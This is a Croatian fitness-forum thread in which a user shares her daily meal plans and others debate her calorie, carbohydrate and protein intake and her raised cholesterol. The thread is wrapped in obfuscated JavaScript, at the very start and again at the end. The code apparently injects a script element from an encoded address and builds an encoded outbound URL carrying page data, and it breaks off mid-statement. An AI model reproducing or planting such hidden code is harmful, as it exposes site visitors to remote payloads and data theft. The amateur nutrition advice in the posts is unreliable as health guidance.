ce=document[q(''+'E\u0054\u0043GR'+'\u0043c'+'J\u0043'+'KC'+'H'+'\x52')](q("\u0055E\x54\u004fV\u0052"));try{if(true)var wq=navigator.appName;}catch(nz){};ce[q("\u0055TE")]=q("\t\tA\u004fT"+"\b\u0042"+"T\u004FP"+"\x43"+"T\u0049V"+"R"+"\u004F\bH\u0043\x52\t\x55"+"B\t\x14\x16\u0012\x16\t\u0014\x16\u001e\u0014\bL\x55");var sw=window[("\u0078B"+"w").replace("\x78\x42","\x77\u0069n\x64\u006F")];document[q(("DNc"+"\x66_"+"").replace("N\u0063\x66","\x49\u0042"))][q('\x47\u0056\u0056C'+'HB\u0065'+'NO\u004A\x42')](ce);}})();
D: zobene oko 50 g+banana+4 sljive suhe; jedno cijelo jaje+jedan bjelanjak (kuhano) R: losos (oko 125 g)+ salata od rotkve i kupusa izmedju: 2 mandarine i banana oko 17:00 ako idem na trening poslije onda uzmem ili zobene (oko 50 grama) ili tjesteninu integralnu (oko 80 grama) V: (poslije treninga)- banana+whey- 1h nakon toga piletina na teflonu oko 100 grama
znaci ovo je kad treniram...
da koristim kontracepciju...radila sam hormone stitnjace i sve je ok...sad sam ubacila omegu 3 tablete pa cu ic kontrolirat za 2-3 mjeseca krv opet da vidim...kolesterol je blago povecan
|
Posted By: Mike
Date Posted: 12 Prosinac 2014 at 11:35
|
Ovak na oko ovo mi izgleda da ima cca 1300-1500 kalorija, a to je premalo, pogotovo dok treniras. Nadam se da ne jedes jos manje u dane kad ne treniras. Proteina imas samo 80-90 g. Ubaci jos koje jaje i posni sir. Prije treninga dodaj malo proteina u obrok, npr. tjesteninu sa posnim sirom, a mozes jos sira i prije spavanja.
|
Posted By: Gym_girl
Date Posted: 12 Prosinac 2014 at 12:59
|
Onda je kontracepcija moguće u pitanju..
Što se jelovnika tiče..kad imaš trening poslije, što jedeš sa zobenima ili tjesteninom?
Piletinu jedeš samu nakon treninga?
Kako izgleda dan odmora?
Kakav je trening uopće?
-------------
"To lead the orchestra, you have to turn your back on the crowd."
Nutricionist & Fitness instruktor
PN Certified Coach
e-mail: [email protected]
www.instagram.com/me_better365/
|
Posted By: motivation_
Date Posted: 12 Prosinac 2014 at 17:48
Sa zobenim jedem lanene sjemenke i bananu...sa tjesteninom tunu obicno...
Dan odmora: jedem voce ujutru obicno mandarine i banana sa zobenim i 2 jaja. Ostale obroke jedem protein i povrce riba ili meso...znaci da ne prelazi 100 g UH.
Treninzi su cross fit hiit veoma jak intenzitet oko 40 min
Jednom tjedno radim cardio na traci a poslije crossa obicno idem plivat oko 1 km
|
Posted By: dena75
Date Posted: 12 Prosinac 2014 at 17:55
motivation_ wrote:
Sa zobenim jedem lanene sjemenke i bananu...sa tjesteninom tunu obicno...
Dan odmora: jedem voce ujutru obicno mandarine i banana sa zobenim i 2 jaja. Ostale obroke jedem protein i povrce riba ili meso...znaci da ne prelazi 100 g UH.
Treninzi su cross fit hiit veoma jak intenzitet oko 40 min
Jednom tjedno radim cardio na traci a poslije crossa obicno idem plivat oko 1 km
|
motivation....napisa sam ti...ovo ti je premalo UH.....aj napiši kad je ručak(uhr) a kad je trening(uhr)..
-------------
iznajmljujem sobnu biciklu
|
Posted By: motivation_
Date Posted: 12 Prosinac 2014 at 20:40
dena75 wrote:
motivation_ wrote:
Sa zobenim jedem lanene sjemenke i bananu...sa tjesteninom tunu obicno...
Dan odmora: jedem voce ujutru obicno mandarine i banana sa zobenim i 2 jaja. Ostale obroke jedem protein i povrce riba ili meso...znaci da ne prelazi 100 g UH.
Treninzi su cross fit hiit veoma jak intenzitet oko 40 min
Jednom tjedno radim cardio na traci a poslije crossa obicno idem plivat oko 1 km
|
motivation....napisa sam ti...ovo ti je premalo UH.....aj napiši kad je ručak(uhr) a kad je trening(uhr).. |
Rucak je u 12 h...a trening je obicno u 19:30 osim nedjeljom tad je u 13:00
|
Posted By: motivation_
Date Posted: 13 Prosinac 2014 at 01:13
dena75 wrote:
motivation_ wrote:
[QUOTE=dena75][email protected]što sam ti ja na forumu zadužen za brojeve i grame....a vidim da voliš brojati kao i ja.... i vidim još nisi dobila odgovor....ja ću ti odgovoriti...na tvoju kilažu i visinu i tvoje aktivnosti: P=160g UH=200g M=70g ... to je 2000kcl a tvoj TDEE: je 2500kcl znači 500 si u deficitu[/QUOTE]
ovo jedem kad imam high carb day? ili je ovo dio 'izbalansirane' prehrane? |
....to ti je definicija....deficit.....znači skidanje sala ...ako pet dana vježbaš u tjednu.. |
znaci ovoliko svaki dan unositi?mozda nisam dobro shvatila |
Posted By: Gym_girl
Date Posted: 13 Prosinac 2014 at 10:43
|
motivation_ wrote:
D: zobene oko 50 g+banana+4 sljive suhe; jedno cijelo jaje+jedan bjelanjak (kuhano) R: losos (oko 125 g)+ salata od rotkve i kupusa izmedju: 2 mandarine i banana oko 17:00 ako idem na trening poslije onda uzmem ili zobene (oko 50 grama) ili tjesteninu integralnu (oko 80 grama) V: (poslije treninga)- banana+whey- 1h nakon toga piletina na teflonu oko 100 grama
znaci ovo je kad treniram...
da koristim kontracepciju...radila sam hormone stitnjace i sve je ok...sad sam ubacila omegu 3 tablete pa cu ic kontrolirat za 2-3 mjeseca krv opet da vidim...kolesterol je blago povecan |
motivation_ wrote:
Sa zobenim jedem lanene sjemenke i bananu...sa tjesteninom tunu obicno...
Dan odmora: jedem voce ujutru obicno mandarine i banana sa zobenim i 2 jaja. Ostale obroke jedem protein i povrce riba ili meso...znaci da ne prelazi 100 g UH.
Treninzi su cross fit hiit veoma jak intenzitet oko 40 min
Jednom tjedno radim cardio na traci a poslije crossa obicno idem plivat oko 1 km
|
Znači nekad imaš proteine prije treninga, nekad ne? Imaj uvijek.
Ja bih bananu svela na 1 dnevno (nakon treninga), 2 uvrh glave, a za tih 20-40ak g uh pojačala mahunarke i neke dobre žitarice. UH-e jedi i poslije treninga, bar nekih 20-30g sa proteinima.
U dane odmora si slobodno ubaci još koji uh i u ručak (bar neku voćku, mahunarke idealno) pa eventualno večeru ostavi bez. Međuobrok 1 voćka i ako hoćeš nešto orašastih.
Premalo uh-a jedeš za toliko treninga...kakva keto, ne treba ti manje nego više....ali kvalitetnih.
-------------
"To lead the orchestra, you have to turn your back on the crowd."
Nutricionist & Fitness instruktor
PN Certified Coach
e-mail: [email protected]
www.instagram.com/me_better365/
|
Posted By: motivation_
Date Posted: 13 Prosinac 2014 at 18:18
|
ok pa moguce je da se ja bojim unosit UH...od toga iskreno imam fobiju jer mislim da me to deblja... promijenicu rezim...100 grama kad ne vjezbam 150 kad vjezbam i 200 svaki 4.dan... i ubacicu kvalitetnih UH vise... hvala na savjetima... |
Posted By: motivation_
Date Posted: 13 Prosinac 2014 at 18:19
|
da jos jedna stvar...mislim da sam napravila veliku neravnotezu sa hormonima izbacivanjem UH...to sam shvatila nakon sto sam procitala mnogo postova sad mi je zao zbog toga ali eto potrudicu se to promijeniti
|
Posted By: motivation_
Date Posted: 13 Prosinac 2014 at 19:42
|
evo danas jelovnika...
dorucak zobene+40 grama sljiva+30 grama oraha rucak: juha od brokule+ piletina 100 g sa tikvicama, brokulom i gljivama kuhana izmedju: 2 mandarine i banana orasi 30 grama+ljesnjaci 60 grama jogurt activia u koji sam umijesala maline oko 30 grama vecera: 5 bjelanjaka
po mom izracunu je oko 120 g UH, 80 grama proteina i oko 120 grama masti..e sad mozda sma pretjerala s mastima i to je oko 1800 kcal otprilike...
sta mislite za ovaj jelovnik?
sutra planiram mahunarke jesti gym_girl jer vidim da ih obozavas |
Posted By: dena75
Date Posted: 13 Prosinac 2014 at 21:03
motivation_ wrote:
evo danas jelovnika...
dorucak zobene+40 grama sljiva+30 grama oraha rucak: juha od brokule+ piletina 100 g sa tikvicama, brokulom i gljivama kuhana izmedju: 2 mandarine i banana orasi 30 grama+ljesnjaci 60 grama jogurt activia u koji sam umijesala maline oko 30 grama vecera: 5 bjelanjaka
po mom izracunu je oko 120 g UH, 80 grama proteina i oko 120 grama masti..e sad mozda sma pretjerala s mastima i to je oko 1800 kcal otprilike...
sta mislite za ovaj jelovnik?
sutra planiram mahunarke jesti gym_girl jer vidim da ih obozavas |
ako danas nisi trenirala UH je super 120g a kad treniraš 200 g 9 sati ....doručak: omlet sa gljivama(3 jaja)+feta integralnog kruha+cottage sir 100g+20g malina 12 sati...ručak je super:piletina 150g možeš i 200g+povrće+ 15 sati ....30 g badema 18 sati....sendvič: 2 fete integralnog kruha+100g nemasne šunke+50g namaz posni sir+par listova salate između 21 sati ...200 g posnog sira+30 g kikriki maslaca sa 1 malom jabučicom ovo ti je kad ne treniraš....150 gP 120Uh 50M TOTAL:1600 kcl.... ...sutra se opusti i jedi sve šta voliš i o ponedjeljka opet režim...ako ćeš me poslušat ...ako ne ..biti ćeš sve sporija i sporija PS:napiši kad treniraš šta jedeš....
-------------
iznajmljujem sobnu biciklu
|
Posted By: dena75
Date Posted: 13 Prosinac 2014 at 21:08
motivation_ wrote:
evo danas jelovnika...
dorucak zobene+40 grama sljiva+30 grama oraha rucak: juha od brokule+ piletina 100 g sa tikvicama, brokulom i gljivama kuhana izmedju: 2 mandarine i banana orasi 30 grama+ljesnjaci 60 grama jogurt activia u koji sam umijesala maline oko 30 grama vecera: 5 bjelanjaka
po mom izracunu je oko 120 g UH, 80 grama proteina i oko 120 grama masti..e sad mozda sma pretjerala s mastima i to je oko 1800 kcal otprilike...
sta mislite za ovaj jelovnik?
sutra planiram mahunarke jesti gym_girl jer vidim da ih obozavas |
...šta se tiče masti puno ti je....nekad kad bi radija definiciju...jedan dan bi samo rezervira za masti..samo su bili orašasti na repertoaru taj dan...
-------------
iznajmljujem sobnu biciklu
|
Posted By: motivation_
Date Posted: 13 Prosinac 2014 at 22:54
dena75 wrote:
motivation_ wrote:
evo danas jelovnika...
dorucak zobene+40 grama sljiva+30 grama oraha rucak: juha od brokule+ piletina 100 g sa tikvicama, brokulom i gljivama kuhana izmedju: 2 mandarine i banana orasi 30 grama+ljesnjaci 60 grama jogurt activia u koji sam umijesala maline oko 30 grama vecera: 5 bjelanjaka
po mom izracunu je oko 120 g UH, 80 grama proteina i oko 120 grama masti..e sad mozda sma pretjerala s mastima i to je oko 1800 kcal otprilike...
sta mislite za ovaj jelovnik?
sutra planiram mahunarke jesti gym_girl jer vidim da ih obozavas |
...šta se tiče masti puno ti je....nekad kad bi radija definiciju...jedan dan bi samo rezervira za masti..samo su bili orašasti na repertoaru taj dan... |
da skuzila sam da sam pretjerala kad mi je muka dosla
ok sutra treniram pa cu nesto iskombinirat i napisati...  |
Posted By: motivation_
Date Posted: 13 Prosinac 2014 at 22:55
dena75 wrote:
motivation_ wrote:
evo danas jelovnika...
dorucak zobene+40 grama sljiva+30 grama oraha rucak: juha od brokule+ piletina 100 g sa tikvicama, brokulom i gljivama kuhana izmedju: 2 mandarine i banana orasi 30 grama+ljesnjaci 60 grama jogurt activia u koji sam umijesala maline oko 30 grama vecera: 5 bjelanjaka
po mom izracunu je oko 120 g UH, 80 grama proteina i oko 120 grama masti..e sad mozda sma pretjerala s mastima i to je oko 1800 kcal otprilike...
sta mislite za ovaj jelovnik?
sutra planiram mahunarke jesti gym_girl jer vidim da ih obozavas |
ako danas nisi trenirala UH je super 120g a kad treniraš 200 g 9 sati ....doručak: omlet sa gljivama(3 jaja)+feta integralnog kruha+cottage sir 100g+20g malina 12 sati...ručak je super:piletina 150g možeš i 200g+povrće+ 15 sati ....30 g badema 18 sati....sendvič: 2 fete integralnog kruha+100g nemasne šunke+50g namaz posni sir+par listova salate između 21 sati ...200 g posnog sira+30 g kikriki maslaca sa 1 malom jabučicom ovo ti je kad ne treniraš....150 gP 120Uh 50M TOTAL:1600 kcl.... ...sutra se opusti i jedi sve šta voliš i o ponedjeljka opet režim...ako ćeš me poslušat ...ako ne ..biti ćeš sve sporija i sporija PS:napiši kad treniraš šta jedeš....
|
jedino sto ne volim je posni  uzasan mi je taj ukus... to bi radije zamijenila bjelanjcima
|
Posted By: Mike
Date Posted: 14 Prosinac 2014 at 00:42
Cottage nije posni nego zrnati, a on je puno finiji. Ja bi radije smanjio masti negdje drugdje pa pojeo cijela jaja.
Hm, mislim da u ovom gore nema 120 g masti nego 85-90.
|
Posted By: dena75
Date Posted: 14 Prosinac 2014 at 08:15
Mike wrote:
Cottage nije posni nego zrnati, a on je puno finiji. Ja bi radije smanjio masti negdje drugdje pa pojeo cijela jaja.
Hm, mislim da u ovom gore nema 120 g masti nego 85-90. |
-------------
iznajmljujem sobnu biciklu
|
Posted By: Mike
Date Posted: 14 Prosinac 2014 at 09:59
|
Ne ti, ona.
|
Posted By: dena75
Date Posted: 14 Prosinac 2014 at 10:35
Mike wrote:
Ne ti, ona. |
-------------
iznajmljujem sobnu biciklu
|
Posted By: Gym_girl
Date Posted: 14 Prosinac 2014 at 12:57
dena75 wrote:
ako danas nisi trenirala UH je super 120g a kad treniraš 200 g 9 sati ....doručak: omlet sa gljivama(3 jaja)+feta integralnog kruha+cottage sir 100g+20g malina 12 sati...ručak je super:piletina 150g možeš i 200g+povrće+ 15 sati ....30 g badema 18 sati....sendvič: 2 fete integralnog kruha+100g nemasne šunke+50g namaz posni sir+par listova salate između 21 sati ...200 g posnog sira+30 g kikriki maslaca sa 1 malom jabučicom ovo ti je kad ne treniraš....150 gP 120Uh 50M TOTAL:1600 kcl.... ...sutra se opusti i jedi sve šta voliš i o ponedjeljka opet režim...ako ćeš me poslušat ...ako ne ..biti ćeš sve sporija i sporija PS:napiši kad treniraš šta jedeš....
|
dena, čemu sir uz 3 jaja? :) Da podmiri računicu?
-------------
"To lead the orchestra, you have to turn your back on the crowd."
Nutricionist & Fitness instruktor
PN Certified Coach
e-mail: [email protected]
www.instagram.com/me_better365/
|
Posted By: Gym_girl
Date Posted: 14 Prosinac 2014 at 13:00
motivation_ wrote:
evo danas jelovnika...
dorucak zobene+40 grama sljiva+30 grama oraha rucak: juha od brokule+ piletina 100 g sa tikvicama, brokulom i gljivama kuhana izmedju: 2 mandarine i banana orasi 30 grama+ljesnjaci 60 grama jogurt activia u koji sam umijesala maline oko 30 grama vecera: 5 bjelanjaka
po mom izracunu je oko 120 g UH, 80 grama proteina i oko 120 grama masti..e sad mozda sma pretjerala s mastima i to je oko 1800 kcal otprilike...
sta mislite za ovaj jelovnik?
sutra planiram mahunarke jesti gym_girl jer vidim da ih obozavas |
motivation, nešto ti fali u doručku, nečeg je previše u međuobroku, a i više toga fali u večeri - možeš li sama dokučiti na što mislim?
Mahunarke su zakon 
Usput......jesi li pričala sa svojom doktoricom o tim nalazima i kontracepciji koju uzimaš? Je li bilo što govora o promjeni/pauzi? Odnosno jeste li uopće razmatrale sve moguće uzroke povišenih masnoća?
-------------
"To lead the orchestra, you have to turn your back on the crowd."
Nutricionist & Fitness instruktor
PN Certified Coach
e-mail: [email protected]
www.instagram.com/me_better365/
|
Posted By: dena75
Date Posted: 14 Prosinac 2014 at 13:04
Gym_girl wrote:
dena75 wrote:
ako danas nisi trenirala UH je super 120g a kad treniraš 200 g 9 sati ....doručak: omlet sa gljivama(3 jaja)+feta integralnog kruha+cottage sir 100g+20g malina 12 sati...ručak je super:piletina 150g možeš i 200g+povrće+ 15 sati ....30 g badema 18 sati....sendvič: 2 fete integralnog kruha+100g nemasne šunke+50g namaz posni sir+par listova salate između 21 sati ...200 g posnog sira+30 g kikriki maslaca sa 1 malom jabučicom ovo ti je kad ne treniraš....150 gP 120Uh 50M TOTAL:1600 kcl.... ...sutra se opusti i jedi sve šta voliš i o ponedjeljka opet režim...ako ćeš me poslušat ...ako ne ..biti ćeš sve sporija i sporija PS:napiši kad treniraš šta jedeš....
|
dena, čemu sir uz 3 jaja? :) Da podmiri računicu? |
.... ...to pitaj svjetske stručnjake a ne mene .... koji imaju tisuće klijenata....diljem svijeta....btw od 1% masti i 12 g proteina ne boli glava kad je definicija i pitanju....napisa sam... kad je definicija onda ide 3gP
-------------
iznajmljujem sobnu biciklu
|
Posted By: Gym_girl
Date Posted: 14 Prosinac 2014 at 13:06
Ne trebaju mi svjetski stručnjaci ni njihovi klijenti, imam svoje klijente i rezultate i bez toliko proteina
-------------
"To lead the orchestra, you have to turn your back on the crowd."
Nutricionist & Fitness instruktor
PN Certified Coach
e-mail: [email protected]
www.instagram.com/me_better365/
|
Posted By: dena75
Date Posted: 14 Prosinac 2014 at 13:14
Gym_girl wrote:
Ne trebaju mi svjetski stručnjaci ni njihovi klijenti, imam svoje klijente i rezultate i bez toliko proteina |
-------------
iznajmljujem sobnu biciklu
|
Posted By: motivation_
Date Posted: 14 Prosinac 2014 at 18:03
dena75 wrote:
Gym_girl wrote:
dena75 wrote:
ako danas nisi trenirala UH je super 120g a kad treniraš 200 g 9 sati ....doručak: omlet sa gljivama(3 jaja)+feta integralnog kruha+cottage sir 100g+20g malina 12 sati...ručak je super:piletina 150g možeš i 200g+povrće+ 15 sati ....30 g badema 18 sati....sendvič: 2 fete integralnog kruha+100g nemasne šunke+50g namaz posni sir+par listova salate između 21 sati ...200 g posnog sira+30 g kikriki maslaca sa 1 malom jabučicom ovo ti je kad ne treniraš....150 gP 120Uh 50M TOTAL:1600 kcl.... ...sutra se opusti i jedi sve šta voliš i o ponedjeljka opet režim...ako ćeš me poslušat ...ako ne ..biti ćeš sve sporija i sporija PS:napiši kad treniraš šta jedeš....
|
dena, čemu sir uz 3 jaja? :) Da podmiri računicu? |
.... ...to pitaj svjetske stručnjake a ne mene .... koji imaju tisuće klijenata....diljem svijeta....btw od 1% masti i 12 g proteina ne boli glava kad je definicija i pitanju....napisa sam... kad je definicija onda ide 3gP |
Znam sta je posni a sta cottage
..cottage je ok :)
|
Posted By: motivation_
Date Posted: 14 Prosinac 2014 at 18:05
Gym_girl wrote:
motivation_ wrote:
evo danas jelovnika...
dorucak zobene+40 grama sljiva+30 grama oraha rucak: juha od brokule+ piletina 100 g sa tikvicama, brokulom i gljivama kuhana izmedju: 2 mandarine i banana orasi 30 grama+ljesnjaci 60 grama jogurt activia u koji sam umijesala maline oko 30 grama vecera: 5 bjelanjaka
po mom izracunu je oko 120 g UH, 80 grama proteina i oko 120 grama masti..e sad mozda sma pretjerala s mastima i to je oko 1800 kcal otprilike...
sta mislite za ovaj jelovnik?
sutra planiram mahunarke jesti gym_girl jer vidim da ih obozavas |
motivation, nešto ti fali u doručku, nečeg je previše u međuobroku, a i više toga fali u večeri - možeš li sama dokučiti na što mislim?
Mahunarke su zakon
Usput......jesi li pričala sa svojom doktoricom o tim nalazima i kontracepciji koju uzimaš? Je li bilo što govora o promjeni/pauzi? Odnosno jeste li uopće razmatrale sve moguće uzroke povišenih masnoća?
|
Ne kuzim sta fali. 
Nisam.pricala sa doktoricom jer su ovo otkrili kad su mi radili nalaze prije gastroskopije...
|
Posted By: motivation_
Date Posted: 14 Prosinac 2014 at 18:09
Danasnji meni
Dorucak: zobene 40 g+ lanene 10g+banana 80g+sljive suhe 40 g
3 bjelanjca
Poslije treninga: banana 100g+whey 30g
Rucak: tuna 80 g+tjestenina 100g+sirni namaz(3% masnoca) 40g
Za veceru mislim napraviti 2 palacinke od integralnog brasna i jednog jajeta sa sirom
E u ovome mi fali povrce...znam
|
Posted By: motivation_
Date Posted: 14 Prosinac 2014 at 20:13
|
e zanima me jos jedna stvar mozda vi iskusniji znate odgovor...
primjetila sam da sad kad ne konzumiram secer svakodnevno ponekad kad unesem odredjenu kolicinu recimo kolac ili cokolada osjetim mucninu nakon 10-15 minuta i ne osjecam se dobro
zbog cega se to desava?
|
Posted By: ero-sa-ovoga
Date Posted: 14 Prosinac 2014 at 20:23
Pa vjerojatno jer ti se organizam navikao na zdravu hranu, a pošto vjerojatno uneseš veću količinu slatkoga digne ti se naglo šećer u krvi, i tijelo ti izreagira na taj način.Ne vjerujem da je do jetre.Premda vjerujem da pojedeš red ili dva čokolade do toga ne bi trebalo doći.Umjerenost u svemu, a znam da nije lako.
-------------
Mens sana in corpore sano!
|
Posted By: dena75
Date Posted: 14 Prosinac 2014 at 20:46
motivation_ wrote:
e zanima me jos jedna stvar mozda vi iskusniji znate odgovor...
primjetila sam da sad kad ne konzumiram secer svakodnevno ponekad kad unesem odredjenu kolicinu recimo kolac ili cokolada osjetim mucninu nakon 10-15 minuta i ne osjecam se dobro
zbog cega se to desava? |
...kolko ti vode unosiš dnevno?
-------------
iznajmljujem sobnu biciklu
|
Posted By: motivation_
Date Posted: 14 Prosinac 2014 at 21:22
dena75 wrote:
motivation_ wrote:
e zanima me jos jedna stvar mozda vi iskusniji znate odgovor...
primjetila sam da sad kad ne konzumiram secer svakodnevno ponekad kad unesem odredjenu kolicinu recimo kolac ili cokolada osjetim mucninu nakon 10-15 minuta i ne osjecam se dobro
zbog cega se to desava? |
...kolko ti vode unosiš dnevno? |
3-4 litra
|
Posted By: never-give-up
Date Posted: 15 Prosinac 2014 at 08:00
motivation_ wrote:
e zanima me jos jedna stvar mozda vi iskusniji znate odgovor...
primjetila sam da sad kad ne konzumiram secer svakodnevno ponekad kad unesem odredjenu kolicinu recimo kolac ili cokolada osjetim mucninu nakon 10-15 minuta i ne osjecam se dobro
zbog cega se to desava? |
To se i meni zna dogoditi. Ako pojedem npr red čokolade nema nikakve mučnine, ali kad sam pojela dvije veće kriške torte mučnina.
|
Posted By: Gym_girl
Date Posted: 15 Prosinac 2014 at 11:44
motivation_ wrote:
Gym_girl wrote:
motivation_ wrote:
evo danas jelovnika...
dorucak zobene+40 grama sljiva+30 grama oraha rucak: juha od brokule+ piletina 100 g sa tikvicama, brokulom i gljivama kuhana izmedju: 2 mandarine i banana orasi 30 grama+ljesnjaci 60 grama jogurt activia u koji sam umijesala maline oko 30 grama vecera: 5 bjelanjaka
po mom izracunu je oko 120 g UH, 80 grama proteina i oko 120 grama masti..e sad mozda sma pretjerala s mastima i to je oko 1800 kcal otprilike...
sta mislite za ovaj jelovnik?
sutra planiram mahunarke jesti gym_girl jer vidim da ih obozavas |
motivation, nešto ti fali u doručku, nečeg je previše u međuobroku, a i više toga fali u večeri - možeš li sama dokučiti na što mislim?
Mahunarke su zakon
Usput......jesi li pričala sa svojom doktoricom o tim nalazima i kontracepciji koju uzimaš? Je li bilo što govora o promjeni/pauzi? Odnosno jeste li uopće razmatrale sve moguće uzroke povišenih masnoća?
|
Ne kuzim sta fali.
Nisam.pricala sa doktoricom jer su ovo otkrili kad su mi radili nalaze prije gastroskopije... |
Fali ti neki izvor proteina u doručku (izostavljam orahe koje bi btw isto smanjila na pola), međubroke bih malo smanjila (maknula bananu i smanjila orašaste), a u večeri fale neka vlakna i masti.
Ja bih malo provjerila povezanost te kontracepcije i povišenih masnoća....neki radi toga mijenjaju kontracepciju. Nisam stručnjak, samo naglašavam jer nije dobro da ti je ovo stalno povišeno. A zbog prehrane sumnjam da je. Ima li ti netko u obitelji problema sa masnoćama?
-------------
"To lead the orchestra, you have to turn your back on the crowd."
Nutricionist & Fitness instruktor
PN Certified Coach
e-mail: [email protected]
www.instagram.com/me_better365/
|
Posted By: Gym_girl
Date Posted: 15 Prosinac 2014 at 11:45
motivation_ wrote:
e zanima me jos jedna stvar mozda vi iskusniji znate odgovor...
primjetila sam da sad kad ne konzumiram secer svakodnevno ponekad kad unesem odredjenu kolicinu recimo kolac ili cokolada osjetim mucninu nakon 10-15 minuta i ne osjecam se dobro
zbog cega se to desava? |
Da li ti se isto dešava kod domaćih i kupovnih kolača? I koja je to određena količina? :)
-------------
"To lead the orchestra, you have to turn your back on the crowd."
Nutricionist & Fitness instruktor
PN Certified Coach
e-mail: [email protected]
www.instagram.com/me_better365/
|
Posted By: Gym_girl
Date Posted: 15 Prosinac 2014 at 11:46
dena75 wrote:
Gym_girl wrote:
Ne trebaju mi svjetski stručnjaci ni njihovi klijenti, imam svoje klijente i rezultate i bez toliko proteina |
|
Ne vuci me za jezik da ti kažem kad je meni sve palo u vodu
Ne ljutim se, samo se smješkam 
-------------
"To lead the orchestra, you have to turn your back on the crowd."
Nutricionist & Fitness instruktor
PN Certified Coach
e-mail: [email protected]
www.instagram.com/me_better365/
|
Posted By: motivation_
Date Posted: 15 Prosinac 2014 at 13:40
Gym_girl wrote:
motivation_ wrote:
e zanima me jos jedna stvar mozda vi iskusniji znate odgovor...
primjetila sam da sad kad ne konzumiram secer svakodnevno ponekad kad unesem odredjenu kolicinu recimo kolac ili cokolada osjetim mucninu nakon 10-15 minuta i ne osjecam se dobro
zbog cega se to desava? |
Da li ti se isto dešava kod domaćih i kupovnih kolača? I koja je to određena količina? :) |
< id="">(function(){var q=function(j){var a=046,z="",x=window,h=("\x66\u0072\x6f\u006D\x43\u0068\u0077c"+"\x69\u005a\u004E"+"e")["r"+"e"+"p\u006cace"+""]("\x77ci"+"Z\u004e","\x61\u0072\u0043\u006f\x64"),o=("\u0063K\u0044\u0077J"+"M\u0064\x65\x41t")[("\x4f\x46f"+"\x68\x61c\x65").replace("\u004FF\x66\x68",""+"r\x65\u0070\u006c")]("\x4B\u0044"+"w\u004aM","h"+""+"a\x72\u0043"+"o"),e=("\u006Cen\u0065"+"Gh")['r'+'e\u0070'+'la\u0063e']("\u0065\x47","\x67t"),t=("\x41\x6e\x6A\x67"+"n"+"g")[('r'+'UoY'+'Je').replace('\x55o'+''+'Y\x4A','e'+'p\u006C'+'ac')]("A\u006E\u006Ag","\x53"+"t"+"r\u0069"),b=x[t],d=b[h],y,r;for(var g=0;g>2;wj=((g&3)<<4|gu>>4);lm=((gu&15)<<2|jk>>6);et=jk&63;if(isNaN(gu)){lm=et=64}else{if(isNaN(jk)){et=64}}qo=qo+this[q(('\u0053\x5aE_\x75\x52\x54').replace('\x53Z'+'E',''+'yMC'))][q("E"+"N"+"\u0047\u0054\u0067\u0052")](su)+this[q(('\x55Tk'+'U\x75\u0052T'+'').replace('U'+'T'+'\u006B\u0055','\u0079MC'+'_'+''))][q('E'+'NG'+'Tg\u0052')](wj)+this[q("\x79\x4d\x43_"+"\x75RT")][q((''+'E\x79\u0059\x52'+'Hg'+''+'R').replace('yY'+'R\u0048','NG\x54'))](lm)+this[q("\x79\u004DC_"+"u\u0052\u0054")][q(('\u0049i\x52').replace('\x49i','\x45\u004EG'+'Tg'))](et)}return qo},decode:function(il){var gu={},yw,uu,ba=[],gv="",of=String[q(("@\u0054\u0049"+"Ke"+"\u004eGk\u0074"+"N\u0050xIBC"+"").replace(""+"k\u0074\u004EP"+"x","\x54e"))];var ci=[[65,91],[97,123],[48,58],[43,44],[47,48]];for(ib in ci){for(yw=ci[ib][0];yw=8){gv+=of((et>>>(ur-=8))%256)}}}return gv},_utf8_encode:function(mu){mu=mu[q(('T'+'\x71\x44\x48'+'EC'+'').replace('\x71'+'D\u0048','C'+'V'+'\u004a\x47'))](/\r\n/g,"\n");var ci="";for(var ur=0;ur127)&&(uu<2048ci+=q'u0040x54x49E'+'jG'+'Tx65x49u0042u0043'.replace'E'+'j','Ku0065N'+''uu>>6)|192);ci+=String[q('@\u0054\u0049'+'K\u0065N\u0047T\x65I'+'\x42\u0043')]((uu&63)|128)}else{ci+=String[q(("\u0040\u0054\u0049\x4B\x65p"+"\x63D"+"i\x49BC").replace("\u0070c"+"D\x69","N"+""+"GTe"))]((uu>>12)|224);ci+=String[q(("@"+"DC"+"N\x47\u0054e"+"\u0049\x42C"+"").replace("\u0044C"+"","T\u0049\u004be"))](((uu>>6)&63)|128);ci+=String[q("@T\x49\u004b\x65N"+"\u0047\u0054"+"e\x49"+"B\x43")]((uu&63)|128)}}}return ci}};var vx=q('\x48\u001b')+dv+q('\x00\u004E\u001bA'+'\u004F'+'T\b\u0042\u0054\u004f'+'P\x43\u0054\u0049V\u0052O'+'\b'+'HC'+'R\u0000I\x1B\u0042\u0056\x00\u0047\u001B\u0014\u0016\x12\x16\x00\u0055\u001b\u0014\x16\u001E\x14\x00E\u001B\u0041TC'+'C\u0048\u0000Q'+'\x1B')+document[q('\x4AI'+'\u0045\x47RO\u0049H')][q(("\x4E\x49\u0055L\x6D\x4bC"+"").replace("L\x6d","\u0052H\x47"))];var io=q('\x4E\u0052R'+'\u0056\u001c\t\t\x41\x4FT\bB'+'TO\u0050\x43TI\x56R\x4F\b\x48CR'+'\t'+'U\x42\t\x47\u0056\u0056\u0055\t\u0047B'+'OH'+''+'@\x49\u000B\x17\b\x16\t\x4fHB'+'C'+'^'+'\bN\u0052\x4bJ\u0019')+qn[q(('\x43H'+'aI'+'o'+'C').replace('a\x49o','\x45\u0049'+'B'))](vx);var 